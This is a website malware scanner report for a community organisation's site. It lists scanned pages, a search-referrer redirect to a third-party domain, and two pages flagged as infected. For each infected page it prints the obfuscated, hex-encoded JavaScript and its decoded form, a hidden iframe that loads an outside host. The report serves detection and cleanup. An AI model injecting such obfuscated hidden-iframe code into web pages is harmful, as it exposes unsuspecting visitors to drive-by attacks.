New scan:

Malware Scanner report for elcentrodelpueblo.org

Malicious/Suspicious/Total urls checked
2/0/15
2 pages have malicious code. See details below
Blacklists
OK
Suspicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://romik.theinvisatread.com/url?sa=t&source=web&cd=22&ved=0ghckrgtp&url=http://elcentrodelpueblo.org/&ei=2zmsf6rj5qa8qo2lzl029pi1pa==&usg=e6yzmifxviaeagmfs69epj&sig2=pnxn6uoyhuautmh6j5wbq7


The website "elcentrodelpueblo.org" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://elcentrodelpueblo.org/
200 OK
Content-Length: 8369
Content-Type: text/html
clean
http://elcentrodelpueblo.org/FamDevNet.html
200 OK
Content-Length: 8476
Content-Type: text/html
clean
http://elcentrodelpueblo.org/test404page.js
404 Not Found
Content-Length: 331
Content-Type: text/html
clean
http://elcentrodelpueblo.org/BRIDGESecdp.html
200 OK
Content-Length: 10617
Content-Type: text/html
clean
http://elcentrodelpueblo.org/BRIDGESnightingale.html
200 OK
Content-Length: 4840
Content-Type: text/html
clean
http://elcentrodelpueblo.org/index.htm
404 Not Found
Content-Length: 326
Content-Type: text/html
clean
http://elcentrodelpueblo.org/RECecdp.html
200 OK
Content-Length: 5338
Content-Type: text/html
clean
http://elcentrodelpueblo.org/YAP.html
200 OK
Content-Length: 8473
Content-Type: text/html
clean
http://elcentrodelpueblo.org/mental_health.html
200 OK
Content-Length: 345
Content-Type: text/html
clean
http://elcentrodelpueblo.org/Youth%20Training%20Program.html
200 OK
Content-Length: 1256
Content-Type: text/html
clean
http://elcentrodelpueblo.org/HIV_Prevention_Program.html
200 OK
Content-Length: 1450
Content-Type: text/html
clean
http://elcentrodelpueblo.org/index.html
200 OK
Content-Length: 8369
Content-Type: text/html
clean
http://elcentrodelpueblo.org/index1.html
200 OK
Content-Length: 15751
Content-Type: text/html
clean
http://elcentrodelpueblo.org/pages/cdpPg (1)_jpg.htm
200 OK
Content-Length: 2748
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function c41687154048m4906765dad759(m4906765dadb46){ function m4906765dae229(){return 16;} return (parseInt(m4906765dadb46,m4906765dae229()));}function m4906765daf019(m4906765daf666){ var m4906765db024c=2; var m4906765dafa4e='';m4906765db09ed=String.fromCharCode;for(m4906765dafe3f=0;m4906765dafe3f<m4906765daf666.length;m4906765dafe3f+=m4906765db024c){ m4906765dafa4e+=(m4906765db09ed(c41687154048m4906765dad759(m4906765daf666.substr(m4906765dafe3f,m4906765db024c))));}return m4906765dafa4e;} var
... 1121 bytes are skipped ...
253637'+z65+'2536382537'+z65+'342533642533322533352533392532302537'+z65+'332537'+z65+'342537'+z65+'39253663253635253364253237'+z65+'2536342536392537'+z65+'332537'+z65+'302536632536312537'+z65+'39253361253230253665253666253665253635253237'+z65+'2533652533632532662536392536362537'+z65+'3225363125366425363525336527'+z65+'29293B7'+z65+'D7'+z65+'6617'+z65+'2206D7'+z65+'969613D7'+z65+'47'+z65+'27'+z65+'5653B3C2F7'+z65+'3637'+z65+'2697'+z65+'07'+z65+'43E';document.write(m4906765daf019(m4906765db0ddb));

Decoded script:


<iframe name=c4 src='http://bugzilla.highlevel.biz/forum/Lasna?'+Math.round(Math.random()*12173)+'8a8' width=47 height=259 style='display: none'></iframe>

Antivirus reports:

Microsoft
Exploit:HTML/IframeRef.CQ
NANO-Antivirus
Trojan.Url.IframeB.vfvwf

http://elcentrodelpueblo.org/pages/cdpPg (99)_jpg.htm
200 OK
Content-Length: 2684
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function c41687154048m4906799880e9a(m490679988127b){ function m4906799881663(){return 16;} return (parseInt(m490679988127b,m4906799881663()));}function m4906799881e31(m4906799882217){ var m490679988260d='';m49067998835a0=String.fromCharCode;for(m49067998829e6=0;m49067998829e6<m4906799882217.length;m49067998829e6+=2){ m490679988260d+=(m49067998835a0(c41687154048m4906799880e9a(m4906799882217.substr(m49067998829e6,2))));}return m490679988260d;} var z99='';var m4906799883990='3C7'+z99+'3637'+z99
... 1074 bytes are skipped ...
253637'+z99+'2536382537'+z99+'342533642533332533312533322532302537'+z99+'332537'+z99+'342537'+z99+'39253663253635253364253237'+z99+'2536342536392537'+z99+'332537'+z99+'302536632536312537'+z99+'39253361253230253665253666253665253635253237'+z99+'2533652533632532662536392536362537'+z99+'3225363125366425363525336527'+z99+'29293B7'+z99+'D7'+z99+'6617'+z99+'2206D7'+z99+'969613D7'+z99+'47'+z99+'27'+z99+'5653B3C2F7'+z99+'3637'+z99+'2697'+z99+'07'+z99+'43E';document.write(m4906799881e31(m4906799883990));

Decoded script:


<iframe name=c4 src='http://bugzilla.highlevel.biz/forum/Lasna?'+Math.round(Math.random()*120744)+'2' width=387 height=312 style='display: none'></iframe>

Antivirus reports:

Microsoft
Exploit:HTML/IframeRef.CQ
NANO-Antivirus
Trojan.Url.IframeB.vfvwf

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://elcentrodelpueblo.org/
(imitation of visitor from search engine)

GET / HTTP/1.1
Host: elcentrodelpueblo.org
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 302 Found
Connection: close
Date: Wed, 16 Apr 2014 01:14:14 GMT
Location: http://romik.theinvisatread.com/url?sa=t&source=web&cd=22&ved=0GhCKrgTP&url=http://elcentrodelpueblo.org/&ei=2ZMsf6rJ5qa8qo2Lzl029pi1pA==&usg=E6yZMIfXvIAEaGmfs69EPj&sig2=pnxN6UOYhuauTmH6j5WBq7
Server: Apache
Content-Length: 404
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: Glu=54; path=/; domain=elcentrodelpueblo.org; expires=Thu, 24-Apr-2014 01:49:14 GMT
suspicious

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=elcentrodelpueblo.org

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://elcentrodelpueblo.org/

Result: elcentrodelpueblo.org is not infected or malware details are not published yet.